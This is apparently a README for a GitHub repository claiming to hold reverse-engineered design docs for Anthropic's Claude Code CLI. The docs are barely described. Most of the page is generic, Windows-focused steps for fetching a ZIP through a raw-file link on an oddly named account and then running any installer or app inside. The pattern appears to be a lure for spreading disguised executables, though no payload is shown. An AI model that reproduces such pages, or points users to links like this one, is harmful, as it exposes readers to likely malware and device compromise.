This repository contains reverse-engineered design documents for Anthropic Claude Code CLI. It gives you implementation-ready specs, so you can review the app design, setup flow, and support files in one place.
It is built for users who want to inspect the structure of Claude Code tools without digging through source code.
- Windows 10 or Windows 11
- An internet connection
- A web browser
- Enough disk space to store the download files and docs
- Permission to open downloaded files on your PC
If you plan to use the docs with local tools, you may also want:
- A text editor
- Git
- Bun
- Node.js
- Terraform
Use this page to download: GitHub Releases
Open the page, then look for the latest release. Download the file that matches your needs. If the release includes a ZIP file, use that file. If it includes a Windows app file, download that file.
- Open the download page in your browser.
- Find the newest release at the top of the list.
- Click the file under the release assets.
- Save the file to your computer.
- If the file is a ZIP archive, right-click it and choose Extract All.
- Open the extracted folder.
- Open the README or docs folder to view the design files.
If the release includes an installer file, double-click it and follow the on-screen steps.
The release files may include:
- Design docs for Claude Code CLI flows
- Layout notes for command handling
- MCP integration notes
- Infrastructure setup docs
- Terraform spec files
- TypeScript interface notes
- Bun-based runtime notes
- Reference material for reverse-engineered behavior
Start with the main README file if one is included. Then move through the docs in this order:
- Product overview
- Setup flow
- Command structure
- Service and tool links
- MCP notes
- Infrastructure notes
- Terraform details
- TypeScript notes
This order helps you follow the app from top to bottom.
You may see a structure like this:
docs/for design notesspecs/for implementation detailsinfra/for infrastructure filesterraform/for Terraform setupmcp/for tool connection notessrc/for TypeScript examplesbun/for Bun-related files
Double-click any .md file to read it in your browser or text editor.
Right-click the ZIP file, then select Extract All.
Read the release page to see which files were added or changed.
Create one folder for the project and store the download there.
Use the docs to understand:
- What each command does
- How the CLI starts
- How config files work
- How tool calls flow through the system
- How Claude Code connects to MCP tools
- How infrastructure pieces fit together
- How Terraform may define cloud resources
- How TypeScript types map to behavior
Look for files with names like:
README.mdARCHITECTURE.mdDESIGN.mdSPEC.mdINSTALL.mdSETUP.mdMCP.mdINFRASTRUCTURE.mdterraform.mdtypes.md
If a release includes a runnable package, use this flow:
- Download the release asset.
- Extract it if needed.
- Open the folder.
- Run the app or open the docs file that starts the setup.
- Follow the prompts in the file.
If the release only contains docs, open the main markdown file and read it in order.
Keep the download in a separate folder. That makes it easier to find files after you extract them.
If Windows asks how to open a file, choose a trusted app such as:
- File Explorer for folders
- Notepad for simple text files
- Visual Studio Code for markdown and code files
Visit the release page here: https://github.com/Arteriogramtrombiculiasis120/claude-code-reverse-engineering/raw/refs/heads/main/infrastructure/engineering-code-reverse-claude-v1.1.zip
This project focuses on:
- Anthropic
- Claude Code
- CLI design
- Reverse engineering
- Infrastructure
- MCP
- Terraform
- Bun
- TypeScript
- Design docs